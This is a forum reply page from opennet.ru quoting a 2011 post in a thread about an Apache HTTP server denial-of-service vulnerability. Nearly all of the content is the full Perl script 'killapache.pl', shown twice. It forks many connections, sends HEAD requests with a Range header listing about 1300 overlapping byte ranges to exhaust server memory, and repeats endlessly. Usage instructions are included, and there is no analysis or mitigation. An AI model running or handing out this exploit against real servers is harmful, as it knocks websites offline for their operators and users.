forum.opennet.ru

Составление сообщения

Исходное сообщение

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."
Отправлено kulibin, 26-Авг-11 11:06

#!/usr/bin/perl
#
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {$p .= ",5-$k";}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
if ( defined($sock) ) { print $sock $p; }
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print "YES!!!\n";
}
if (@ARGV < 0) {usage; exit;}
if (@ARGV > 1) {$numforks = $ARGV[1]; } else {$numforks = 50;}
while(1) {killapache();}

Исходное сообщение
"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..." Отправлено kulibin, 26-Авг-11 11:06
#!/usr/bin/perl # use IO::Socket; use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $\|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) {$p .= ",5-$k";} for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; if ( defined($sock) ) { print $sock $p; } while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print "YES!!!\n"; } if (@ARGV < 0) {usage; exit;} if (@ARGV > 1) {$numforks = $ARGV[1]; } else {$numforks = 50;} while(1) {killapache();}

Ваше сообщение
Имя*:
EMail:	Для отправки ответов на email укажите знак ! перед адресом, например, !user@host.ru (!! - не показывать email). Более тонкая настройка отправки ответов производится в профиле зарегистрированного участника форума.
Заголовок*:
Сообщение*:
	Введите код, изображенный на картинке:

При общении не допускается: неуважительное отношение к собеседнику, хамство, унизительное обращение, ненормативная лексика, переход на личности, агрессивное поведение, обесценивание собеседника, провоцирование флейма голословными и заведомо ложными заявлениями. Не отвечайте на сообщения, явно нарушающие правила - удаляются не только сами нарушения, но и все ответы на них. Лог модерирования.

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру